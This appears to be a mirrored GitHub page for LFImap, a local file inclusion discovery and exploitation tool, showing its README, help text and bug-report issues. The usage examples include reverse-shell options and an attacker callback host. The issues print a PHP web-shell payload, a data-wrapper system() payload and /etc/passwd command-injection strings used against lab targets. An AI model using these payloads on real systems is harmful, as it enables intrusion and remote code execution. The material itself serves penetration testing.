Giter Club home page Giter Club logo

lfimap's Introduction

LFImap

Local file inclusion discovery and exploitation tool

This project is in pre-alpha stage. Major release 1.0 coming soon with plenty of new abilities and modules.

Main features

  • Attack with different modules

    • Filter wrapper file inclusion
    • Data wrapper remote command execution
    • Input wrapper remote command execution
    • Expect wrapper remote command execution
    • File wrapper file inclusion
    • Attacks with path traversal
    • Remote file inclusion
    • Custom polyglot command injection
    • Heuristic scans
      • Custom polyglot XSS, CRLF checks
      • Open redirect check
      • Error-based file inclusion info leak
  • Testing modes

    • -U -> specify single URL to test
    • -F -> specify wordlist of URLs to test
    • -R -> specify raw http from a file to test
  • Full control over the HTTP request

    • Specification of parameters to test (GET, FORM-line, Header, custom injection point)
    • Specification of custom HTTP header(s)
    • Ability to test with arbitrary form-line (POST) data
    • Ability to test with arbitrary HTTP method
    • Ability to pivot requests through a web proxy
    • Ability to log all requests and responses to a file
    • Ability to tune testing with timeout in between requests and maximum response time
    • Support for payload manipulation via url and base64 encoding(s)
    • Quick mode (-q), where LFImap uses fewer carefully selected payloads
    • Second order (stored) vulnerability check support
    • Beta/Testing phase CSRF handling support

Documentation

-h, --help

 usage: lfimap.py [-U [url]] [-F [urlfile]] [-R [reqfile]] [-C <cookie>] [-D <data>] [-H <header>]
                 [-M <method>] [-P <proxy>] [--useragent <agent>] [--referer <referer>]
                 [--placeholder <name>] [--delay <milis>] [--max-timeout <seconds>]
                 [--http-ok <number>] [--csrf-param <param>] [--csrf-method <method>]
                 [--csrf-url <url>] [--csrf-data <data>] [--second-method <method>]
                 [--second-url <url>] [--second-data <data>] [--force-ssl] [--no-stop] [-f] [-i]
                 [-d] [-e] [-t] [-r] [-c] [-file] [-heur] [-a] [-n <U|B>] [-q] [-x]
                 [--lhost <lhost>] [--lport <lport>] [--callback <hostname>] [-wT <path>]
                 [--use-long] [--log <file>] [-v] [-h]

LFImap, Local File Inclusion discovery and exploitation tool

TARGET OPTIONS:
  -U [url]                  Single url to test
  -F [urlfile]              Load multiple urls to test from a file
  -R [reqfile]              Load single request to test from a file

REQUEST OPTIONS:
  -C <cookie>               HTTP session Cookie header
  -D <data>                 HTTP request FORM-data
  -H <header>               Additional HTTP header(s)
  -M <method>               Request method to use for testing
  -P <proxy>                Use a proxy to connect to the target endpoint
  --useragent <agent>       HTTP user-agent header value
  --referer <referer>       HTTP referer header value
  --placeholder <name>      Custom testing placeholder name (default is "PWN")
  --delay <milis>           Delay in miliseconds after each request
  --max-timeout <seconds>   Number of seconds after giving up on a response (default 5)
  --http-ok <number>        Http response code(s) to treat as valid
  --csrf-param <param>      Parameter used to hold anti-CSRF token
  --csrf-method <method>    HTTP method to use during anti-CSRF token page visit
  --csrf-url <url>          URL address to visit for extraction of anti-CSRF token
  --csrf-data <data>        POST data to send during anti-CSRF token page visit
  --second-method <method>  Specify method for second order request
  --second-url <url>        Url for second order request
  --second-data <data>      FORM-line data for second-order request
  --force-ssl               Force usage of HTTPS/SSL if otherwise not specified
  --no-stop                 Don't stop using the same testing technique upon findings

ATTACK TECHNIQUE:
  -f, --filter              Attack using filter wrapper
  -i, --input               Attack using input wrapper
  -d, --data                Attack using data wrapper
  -e, --expect              Attack using expect wrapper
  -t, --trunc               Attack using path traversal with wordlist (default "short.txt")
  -r, --rfi                 Attack using remote file inclusion
  -c, --cmd                 Attack using command injection
  -file, --file             Attack using file wrapper
  -heur, --heuristics       Test for miscellaneous issues using heuristics
  -a, --all                 Use all supported attack methods

PAYLOAD OPTIONS:
  -n <U|B>                  Specify payload encoding(s). "U" for URL, "B" for base64
  -q, --quick               Perform quick testing with fewer payloads
  -x, --exploit             Exploit and send reverse shell if RCE is available
  --lhost <lhost>           Local ip address for reverse connection
  --lport <lport>           Local port number for reverse connection
  --callback <hostname>     Callback location for rfi and cmd detection

WORDLIST OPTIONS:
  -wT <path>                Path to wordlist for path traversal modality
  --use-long                Use "src/wordlists/long.txt" wordlist for path traversal modality

OUTPUT OPTIONS:
  --log <file>              Output all requests and responses to specified file

OTHER:
  -v, --verbose             Print more detailed output when performing attacks
  -h, --help                Print this help message

Examples

1) Utilize all supported attack modules with '-a'.

python3 lfimap.py -U "http://IP/vuln.php?param=testme" -C "PHPSESSID=XXXXXXXX" -a

LFImap_A

2) Post argument testing with '-D'

python3 lfimap.py -U "http://IP/index.php" -D "page=testme" -a

LFIMAP_POST

3) Reverse shell remote command execution attack with '-x'

python3 lfimap.py -U "http://IP/vuln.php?param=testme" -C "PHPSESSID=XXXXXXXX" -a -x --lhost <IP> --lport <PORT>

LFIMAP_revshell

4) Out-of-Band blind vulnerability verbose testing support with '--callback'

python3 lfimap.py -U "http://IP/index.php?param=testme" -a -v --callback="attacker.oastify.com"

LFIMAP_OOB

If you notice any issues with the software, please open up an issue. I will gladly take a look at it and try to resolve it, as soon as I can.
Pull requests are welcome.

[!] Disclaimer: LFImap usage for attacking web applications without consent of the application owner is illegal. Developers assume no liability and are not responsible for any misuse and damage caused by using this program.

lfimap's People

Contributors

hansmach1ne avatar nrathaus avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar

lfimap's Issues

Circular dependency in code

There seems to be a circular dependency in the code that makes it impossible to load a module directly without the "main.py" code

This makes writing tests (pytest) impossible and probably affects also the stability of the code (debugging fails to properly jump to the right place due to this), the circular dependency can bee seen in:

    from src.attacks.pwn import pwn
src/attacks/pwn.py:2: in <module>
    from src.attacks.bash import exploit_bash
src/attacks/bash.py:1: in <module>
    from src.httpreqs import request
src/httpreqs/request.py:5: in <module>
    from src.attacks.pwn import pwn
E   ImportError: cannot import name 'pwn' from partially initialized module 'src.attacks.pwn' (most likely due to a circular import) (src/LFImap/src/attacks/pwn.py)

Its not limited to the pwn module importing, rather to anything that imports pwn in some code flow

I think it is a good idea to preform code cleanup so that this doesn't happen

Move global `args` to a class/object/non-global

At the moment the constant calling to:
from src.utils.arguments import args

Is causing the code to have complexity that makes it impossible to:

  1. Write additional code without causing a dependency issue (this is visible when debugging/running unit-tests)
  2. Warnings shown when args is accessed as it doesn't know which arguments exist/don't exist
  3. No type checking when accessing the variables stored inside args
  4. Multiple times args = parser.parse_args() code is called and parameters are init

I suggest to move the arguments.py code so that is not all sitting in the 'global' rather inside a class, init once when the code starts, stores the variables inside a dict rather than args or inside self values of this class, pass this newly created class around to whoever needs it or still use it as a global (but prevent its init from being called on every import)

AttributeError: 'Namespace' object has no attribute 'is_tested_param_post'

└─# python3.9 lfimap.py --all -F /WhiteyCookie/Github/ParamSpider/paramspider/results/redacted.com.txt -v

[i] Session information is not provided. LFImap might have troubles finding vulnerabilities if testing endpoint requires authentication.

[i] Parsing URL [1/279]: 'https://www.redacted.com/path/to/news?cHash=PWN'
[i] Preparing to test GET 'cHash' parameter...

[i] Preparing to test misc issues using heuristics...
[.] Testing for XSS...
[.] Testing for CRLF...
[.] Testing for error-based info leak...
[.] Testing for open redirect...
[i] Testing with filter wrapper...
[i] Testing with input wrapper...
Traceback (most recent call last):
File "/WhiteyCookie/Github/LFImap/lfimap.py", line 375, in
main()
File "/WhiteyCookie/Github/LFImap/lfimap.py", line 111, in main
test_input(url, "")
File "/WhiteyCookie/Github/LFImap/src/attacks/input.py", line 16, in test_input
if(args.is_tested_param_post):
AttributeError: 'Namespace' object has no attribute 'is_tested_param_post'

TypeError: get_params_with_param() takes 1 positional argument but 2 were given

└─# python3.9 lfimap.py --t -F /WhiteyCookie/Github/ParamSpider/paramspider/results/redacted.com.txt --use-long -v

[i] Session information is not provided. LFImap might have troubles finding vulnerabilities if testing endpoint requires authentication.

[i] Parsing URL [1/279]: 'https://www.redacted.com/path/to/news?cHash=PWN'
[i] Preparing to test GET 'cHash' parameter...
[i] Testing path truncation using '/WhiteyCookie/Github/LFImap/src/wordlists/long.txt' wordlist...
Traceback (most recent call last):
File "/WhiteyCookie/Github/LFImap/lfimap.py", line 375, in
main()
File "/WhiteyCookie/Github/LFImap/lfimap.py", line 164, in main
print(colors.red("[-]") + " GET parameter '" + get_params_with_param(url, args.param) + "' doesn't seem to be vulnerable.\n")
TypeError: get_params_with_param() takes 1 positional argument but 2 were given

TODO: JSON POST parameter parsing support

Add support for endpoints that use JSON as the Content-Type.

This is partially supported now, by using placeholder PWN as the injection point, however parameters won't be parsed and tested 1 by 1 automatically.

Attribute Error

Hello, thank you for your project, it seems very promising.

I get the following error while trying to run it.

C:\tools\LFImap>python lfimap.py -U "http://testphp.vulnweb.com/showimage.php?file=php://filter/convert.base64-encode/resource=showimage.php" -C "asdasd" -a

Traceback (most recent call last):
  File "C:\tools\LFImap\lfimap.py", line 1799, in <module>
    main()
  File "C:\tools\LFImap\lfimap.py", line 1442, in main
    r,_ = REQUEST(url, headers, postTest, proxies, "test", "test")
  File "C:\tools\LFImap\lfimap.py", line 255, in REQUEST
    if(tOut is not None): res = requests.request(args.method, url, data=postData.encode("utf-8"), headers=headersData, proxies=proxy, verify=False, timeout=tOut)
  File "C:\Python310\lib\site-packages\requests\api.py", line 59, in request
    return session.request(method=method, url=url, **kwargs)
  File "C:\Python310\lib\site-packages\requests\sessions.py", line 562, in request
    method=method.upper(),
AttributeError: 'NoneType' object has no attribute 'upper'

I am using Python 3.10.6.

Any idea?

Multiple fixes to `src/utils/parseurl.py`

I created several PR that improve src/utils/parseurl.py as well as fix some minor issues

#62
#63
#64

I made it into multiple PR to make it easier to integrate, also I made the commits separate so that you can cherry pick if you choose to do so

-x no longer works

Tried to initiate a reverse shell and this is the output i get:

 python3 lfimap.py -U "http://localhost/vulnerabilities/fi/?page=include.php" -C "PHPSESSID=pee4sgbjm74s57o43h39vevqo0; security=low" -a --lhost 192.168.65.3 --lport 3001 -x -v

[i] Testing GET 'page' parameter...

[i] Testing misc issues using heuristics...
[i] Testing for XSS...
[i] Testing for CRLF...
[i] Testing for error-based info leak...
[i] Testing for open redirect...
[i] Testing with filter wrapper...
[+] LFI -> 'http://localhost/vulnerabilities/fi/?page=php%3A%2F%2Ffilter%2Fresource%3D%2Fetc%2Fpasswd'
[i] Testing with input wrapper...
[+] RCE -> 'http://localhost/vulnerabilities/fi/?page=php%3a%2f%2finput&cmd=cat%20%2Fetc%2Fpasswd' -> HTTP POST -> '<?php echo(shell_exec($_GET['cmd']));?>'
[-] Previous request caused uncaught exception. Try proxying requests to see exactly what happened
Traceback (most recent call last):
  File "/home/rares/Licenta/license/attack_scan_system/tool_repos/LFImap/lfimap.py", line 769, in <module>
    main()
  File "/home/rares/Licenta/license/attack_scan_system/tool_repos/LFImap/lfimap.py", line 642, in main
    test_input(url, post)
  File "/home/rares/Licenta/license/attack_scan_system/tool_repos/LFImap/src/attacks/input.py", line 57, in test_input
    _, br = REQUEST(u, reqHeaders, post, proxies, "RCE", "INPUT")
  File "/home/rares/Licenta/license/attack_scan_system/tool_repos/LFImap/src/httpreqs/request.py", line 359, in REQUEST
    if init(res, "", exploitType, url, postData, headersData, exploitMethod):
  File "/home/rares/Licenta/license/attack_scan_system/tool_repos/LFImap/src/httpreqs/request.py", line 148, in init
    pwn(exploit)
NameError: name 'pwn' is not defined

Missing files causing false negative

The rfi.py refers to these URLs:

    pylds.append(
        "https%3A%2F%2Fgithub.com%2Fhansmach1ne%2FLFImap%2Fblob%2Fmain%2Fsrc%2Fexploits%2Fexploit.php"
    )
    pylds.append(
        "https%3A%2F%2Fgithub.com%2Fhansmach1ne%2FLFImap%2Fblob%2Fmain%2Fsrc%2Fexploits%2Fexploit.jsp"
    )
    pylds.append(
        "https%3A%2F%2Fgithub.com%2Fhansmach1ne%2FLFImap%2Fblob%2Fmain%2Fsrc%2Fexploits%2Fexploit.html"
    )
    pylds.append(
        "https%3A%2F%2Fgithub.com%2Fhansmach1ne%2FLFImap%2Fblob%2Fmain%2Fsrc%2Fexploits%2Fexploit.gif"
    )
    pylds.append(
        "https%3A%2F%2Fgithub.com%2Fhansmach1ne%2FLFImap%2Fblob%2Fmain%2Fsrc%2Fexploits%2Fexploit.png"
    )

Which decode results in:

    pylds.append(
        "https://github.com/hansmach1ne/LFImap/blob/main/src/exploits/exploit.php"
    )
    pylds.append(
        "https://github.com/hansmach1ne/LFImap/blob/main/src/exploits/exploit.jsp"
    )
    pylds.append(
        "https://github.com/hansmach1ne/LFImap/blob/main/src/exploits/exploit.html"
    )
    pylds.append(
        "https://github.com/hansmach1ne/LFImap/blob/main/src/exploits/exploit.gif"
    )
    pylds.append(
        "https://github.com/hansmach1ne/LFImap/blob/main/src/exploits/exploit.png"
    )

None of these URLs exist :(

Is this intentional? looks like a mishap

'black' linter

The code currently is written with somewhat weird tabbing/ missing of string concating, ' instead of ", may I recommend using black to just look more readable?

Here is a PR that will show you the difference (I just ran 'black' on the root folder)
#53

Bug: uncaught exception -- args.method is None

The args.method is undefined if -M is not specified and the placeholder (--placeholder, args.param) is not part of the URL. This causes the application to crash.

bug

The issue lies in the following lines:

LFImap/lfimap.py

Lines 1623 to 1632 in 436ea01

if(not args.method):
if(args.file): args.method = "GET"
else:
if(args.url):
if(args.param in args.url): args.method = "GET"
elif(args.postreq):
if(args.param in args.postreq): args.method = "POST"
else: args.method = "GET"

One possible solution would be setting default method in the optionsGroup.add_argument call or rewriting the code in this fashion:

if (args.url and args.param in args.url): args.method = "GET" 

Not clear instructions

Not clear how to use long.txt wordlist instead of short.txt, can you add it to instructions?

Also need some bypass techniques for waf like urlencode

Unhandled Exception when command injection is possible + '-x' for reverse shell

└─$ python3 lfimap.py -U "http://10.10.200.85/vulnerabilities/exec/#" -D "ip=a&Submit=submit" -C "PHPSESSID=4827vaidcjprtcen3l7aoes9p0; security=low" -a -v --lhost 10.8.164.25 --lport 99 -x


[i] Testing form-line 'ip' parameter...

[i] Testing misc issues using heuristics...
[i] Testing for XSS...
[i] Testing for CRLF...
[i] Testing for error-based info leak...
[i] Testing for open redirect...
[i] Testing with filter wrapper...
[i] Testing with input wrapper...
[i] Testing with data wrapper...
[i] Testing with expect wrapper...
[i] Testing with file wrapper...
[i] Testing remote file inclusion...
[i] Opening temporary local web server on port 8000 and hosting $LFIMAP_DIR/src/exploits that will be used for test inclusion
[i] Trying to include internet-hosted file...
[i] Testing path truncation using '/home/kali/Desktop/leet_toolz/LFImap/src/wordlists/short.txt' wordlist...
[i] Testing results-based OS command injection...
[+] RCE -> 'http://10.10.200.85/vulnerabilities/exec/#' -> HTTP POST -> 'ip=1%3Bcat%24%7BIFS%7D%2Fetc%2Fpasswd%3B%23%24%7BIFS%7D%27%3Bcat%24%7BIFS%7D%2Fetc%2Fpasswd%3B%23%24%7BIFS%7D%5C%22%3Bcat%24%7BIFS%7D%2Fetc%2Fpasswd%3B%23%24%7BIFS%7D&Submit=submit'
[?] Checking if bash is available on the target system...
[*] Starting reverse listener on 0.0.0.0:99
[.] Trying to pop reverse shell to 10.8.164.25:99 using bash via command injection...
[-] Previous request caused uncaught exception. Try proxying requests to see exactly what happened
Traceback (most recent call last):
  File "/home/kali/Desktop/leet_toolz/LFImap/lfimap.py", line 477, in <module>
    main()
  File "/home/kali/Desktop/leet_toolz/LFImap/lfimap.py", line 404, in main
    test_cmd_injection(url, post)
  File "/home/kali/Desktop/leet_toolz/LFImap/src/attacks/cmdi.py", line 54, in test_cmd_injection
    r, br = REQUEST(u, reqHeaders, postTest, proxies, "RCE", "CMD")
            ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/home/kali/Desktop/leet_toolz/LFImap/src/httpreqs/request.py", line 221, in REQUEST
    if(init(res, "", exploitType, url, postData, headersData, exploitMethod)):
       ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/home/kali/Desktop/leet_toolz/LFImap/src/httpreqs/request.py", line 106, in init
    pwn(exploit)
  File "/home/kali/Desktop/leet_toolz/LFImap/src/attacks/pwn.py", line 72, in pwn
    exploit_bash(exploit, "CMD", ip, port)
  File "/home/kali/Desktop/leet_toolz/LFImap/src/attacks/bash.py", line 79, in exploit_bash
    request.REQUEST(url, args.httpheaders, post.replace(config.tempArg, encode(bashPayloadStageOne)), post, config.proxies, "", "", exploit = True)
TypeError: REQUEST() got multiple values for argument 'exploit'

Output of script not being saved to file or piped

Hi, I am trying to save the output of the script, for example like this:
python3 LFImap/lfimap.py -U "http://localhost/vulnerabilities/fi/?page=include.php" -C "..." -a > fi.txt
Or by using subprocess.Popen and then using iter to get the output, but id does not print anything.
Also tryed with subprocess.run and capture_output, and printing it at the end... Still nothing.

Am I doing something wrong?

TODO: Try including different files

The issue is that /etc/passwd might be blocked by waf, so try to include modality that will use 'silent' payloads and include different files to confirm the vulnerability.

Also Java tends to not allow path traversal outside the web root, so implement something like /WEB-INF/web.xml or alike method of discovery...

RCE false positive when parameter is vulnerable to XSS

└─$ python3 lfimap.py -U "http://192.168.56.104/dvwa/vulnerabilities/xss_r/?name=aa#" -C "security=low; PHPSESSID=fd6582cc1b2843b479965f570419b6de" --lhost 192.168.56.113 --lport 99 -r -P "127.0.0.1:8080" -d -heur 


[i] Testing GET 'name' parameter...
[+] XSS -> 'http://192.168.56.104/dvwa/vulnerabilities/xss_r/?name=mns%3A817%3Ew%3Cgf%3B93%22%27rq' -> full reflection in response
    Content-Type: text/html;charset=utf-8
[+] RCE -> 'http://192.168.56.104/dvwa/vulnerabilities/xss_r/?name=data%3A%2F%2Ftext%2Fplain%3Bbase64%2CPD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOz8%2B&c=cat%20%2Fetc%2Fpasswd'

----------------------------------------
LFImap finished with execution.
Parameters tested: 1
Requests sent: 16
Vulnerabilities found: 2

Cannot init pip package bad main() call logic -> from lfimap import main

└─$ python3
Python 3.11.6 (main, Oct 8 2023, 05:06:43) [GCC 13.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.

>>> from lfimap import main
>>> main()
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "/home/kali/Desktop/leet_toolz/LFImap/lfimap.py", line 264, in main
    if args['param'] in config.url:
                        ^^^^^^^^^^
AttributeError: module 'src.configs.config' has no attribute 'url'. Did you mean: 'urls'?

Issue background:

When running python3 lfimap.py -h, interpreter looks for if(__name__ == "__main__") and enter this block, however once the program is imported as a module and main() is called (like pip configuration does/requires), it will error out, because checkArgs is not called at all in that case:

# Check command-line arguments
if not checkArgs():
    sys.exit(-1)

AttributeError

all requirements are installed but there is a problem with the tool

z31

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.